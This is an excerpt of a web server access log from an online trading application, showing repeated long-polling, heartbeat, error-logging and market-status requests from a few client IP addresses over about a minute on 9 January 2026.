[09/Jan/2026:15:21:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943571207 HTTP/1.1" -
[09/Jan/2026:15:21:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943566626 HTTP/1.1" -
[09/Jan/2026:15:21:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943567248 HTTP/1.1" -
[09/Jan/2026:15:21:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943567945 HTTP/1.1" -
[09/Jan/2026:15:21:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943572274 HTTP/1.1" -
[09/Jan/2026:15:21:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943571763 HTTP/1.1" -
[09/Jan/2026:15:21:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943573106 HTTP/1.1" -
[09/Jan/2026:15:21:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943576570 HTTP/1.1" -
[09/Jan/2026:15:21:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943577316 HTTP/1.1" -
[09/Jan/2026:15:21:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943576937 HTTP/1.1" -
[09/Jan/2026:15:21:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943578239 HTTP/1.1" -
[09/Jan/2026:15:21:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943585558 HTTP/1.1" -
[09/Jan/2026:15:21:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943582352 HTTP/1.1" -
[09/Jan/2026:15:21:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943582091 HTTP/1.1" -
[09/Jan/2026:15:21:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943583374 HTTP/1.1" -
[09/Jan/2026:15:21:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943590589 HTTP/1.1" -
[09/Jan/2026:15:21:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:21:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:21:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:21:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943587381 HTTP/1.1" -
[09/Jan/2026:15:21:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943587215 HTTP/1.1" -
[09/Jan/2026:15:21:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943588439 HTTP/1.1" -
[09/Jan/2026:15:22:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943595632 HTTP/1.1" -
[09/Jan/2026:15:22:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943592408 HTTP/1.1" -
[09/Jan/2026:15:22:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943592291 HTTP/1.1" -
[09/Jan/2026:15:22:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943593611 HTTP/1.1" -
[09/Jan/2026:15:22:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943600678 HTTP/1.1" -
[09/Jan/2026:15:22:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943597430 HTTP/1.1" -
[09/Jan/2026:15:22:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943597457 HTTP/1.1" -
[09/Jan/2026:15:22:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943598680 HTTP/1.1" -
[09/Jan/2026:15:22:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943605771 HTTP/1.1" -
[09/Jan/2026:15:22:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943602458 HTTP/1.1" -
[09/Jan/2026:15:22:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943602629 HTTP/1.1" -
[09/Jan/2026:15:22:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943603834 HTTP/1.1" -
[09/Jan/2026:15:22:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943610843 HTTP/1.1" -
[09/Jan/2026:15:22:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943607478 HTTP/1.1" -
[09/Jan/2026:15:22:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943607781 HTTP/1.1" -
[09/Jan/2026:15:22:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943608964 HTTP/1.1" -
[09/Jan/2026:15:22:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943615880 HTTP/1.1" -
[09/Jan/2026:15:22:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943612520 HTTP/1.1" -
[09/Jan/2026:15:22:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943612921 HTTP/1.1" -
[09/Jan/2026:15:22:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943614130 HTTP/1.1" -
[09/Jan/2026:15:22:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943620985 HTTP/1.1" -
[09/Jan/2026:15:22:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943617568 HTTP/1.1" -
[09/Jan/2026:15:22:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943618027 HTTP/1.1" -
[09/Jan/2026:15:22:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943619206 HTTP/1.1" -
[09/Jan/2026:15:22:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943626058 HTTP/1.1" -
[09/Jan/2026:15:22:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943622590 HTTP/1.1" -
[09/Jan/2026:15:22:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943623098 HTTP/1.1" -
[09/Jan/2026:15:22:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943624371 HTTP/1.1" -
[09/Jan/2026:15:22:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943631096 HTTP/1.1" -
[09/Jan/2026:15:22:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943627627 HTTP/1.1" -
[09/Jan/2026:15:22:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943628384 HTTP/1.1" -
[09/Jan/2026:15:22:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943629426 HTTP/1.1" -
[09/Jan/2026:15:22:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943636195 HTTP/1.1" -
[09/Jan/2026:15:22:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943632647 HTTP/1.1" -
[09/Jan/2026:15:22:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943634504 HTTP/1.1" -
[09/Jan/2026:15:22:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943633519 HTTP/1.1" -
[09/Jan/2026:15:22:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943641263 HTTP/1.1" -
[09/Jan/2026:15:22:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943637684 HTTP/1.1" -
